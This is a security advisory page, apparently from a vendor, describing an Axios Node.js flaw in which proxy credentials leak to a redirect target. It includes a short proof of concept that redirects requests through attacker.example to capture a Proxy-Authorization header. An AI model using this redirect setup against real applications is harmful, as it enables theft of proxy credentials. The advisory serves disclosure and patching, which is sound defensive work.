GHSA-j5f8-grm9-p9fc is a high-severity (CVSS 7.5) Information Exposure vulnerability in axios. O3 Security confirms whether GHSA-j5f8-grm9-p9fc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-j5f8-grm9-p9fc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-j5f8-grm9-p9fc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
axiosnpmDescription
Summary
Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.
This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.
Impact
An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.
The most relevant case is a Node.js application using an authenticated HTTP_PROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPS_PROXY is unset.
This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.
Affected Functionality
Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.
Relevant inputs and settings include:
HTTP_PROXY,HTTPS_PROXY, andNO_PROXY.- Authenticated proxy URLs such as
http://user:[email protected]:8080. - Automatic redirect following through
follow-redirects. - Axios proxy handling in
setProxy(). - Redirect proxy handling through
beforeRedirects.proxy.
Technical Details
In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.
If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.
The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.
Proof of Concept of Attack
process.env.HTTP_PROXY = 'http://user:[email protected]:8080';
delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start');
Attacker-controlled HTTP endpoint:
HTTP/1.1 302 Found
Location: https://attacker.example/final
Expected result on affected versions:
https://attacker.example/final receives:
Proxy-Authorization: Basic dXNlcjpwYXNz
Expected result on fixed versions:
https://attacker.example/final receives no Proxy-Authorization header
Workarounds
Set maxRedirects: 0 and handle redirects manually.
Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.
Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.
<details> <summary>Original Source</summary>Summary
Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.
This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTP_PROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPS_PROXY is unset or the redirect target is excluded by NO_PROXY.
Details
In the current implementation:
setProxy()addsProxy-Authorizationwhen a proxy with credentials is in use.- On redirects, Axios re-invokes
setProxy()for the redirected request. - If the redirected URL re-evaluates to "no proxy",
setProxy()does not clear the previously addedProxy-Authorizationheader. - The redirected request therefore reuses the stale header and sends it to the final origin.
Relevant code locations:
lib/adapters/http.jssetProxy()addsProxy-Authorization- redirect handling re-applies proxy logic through
beforeRedirects.proxy - no cleanup is performed when the recomputed redirect request no longer uses a proxy
PoC
- The victim sends
GET http://<attacker-site>/start - The request goes through a local authenticated
corp proxy - The attacker-controlled HTTP endpoint returns
302 Location: https://<attacker-site>/final - The redirected HTTPS request no longer uses a proxy
- The attacker-controlled HTTPS endpoint receives the stale
Proxy-Authorizationheader
Observed output:
[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz
[attacker-http] GET /start
[attacker-https] GET /final
[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz
Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.
This demonstrates that the proxy credential is exposed to the redirect target origin.
Impact
Exposes authenticated proxy credentials to an attacker-controlled origin.
</details>Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | axios | ≥ 1.0.0&&< 1.16.0 | 1.16.0 |
| 📦npm | axios | all versions | 0.32.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update axios to 1.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j5f8-grm9-p9fc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j5f8-grm9-p9fc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j5f8-grm9-p9fc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an Important information disclosure flaw in the Axios Node.js HTTP adapter. Red Hat products utilizing Axios in a Node.js environment with an authenticated proxy and automatic redirects enabled are susceptible. The vulnerability arises when a request, initially sent through an authenticated proxy, is…
Frequently Asked Questions
Is GHSA-j5f8-grm9-p9fc in your dependencies?
O3 detects GHSA-j5f8-grm9-p9fc across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.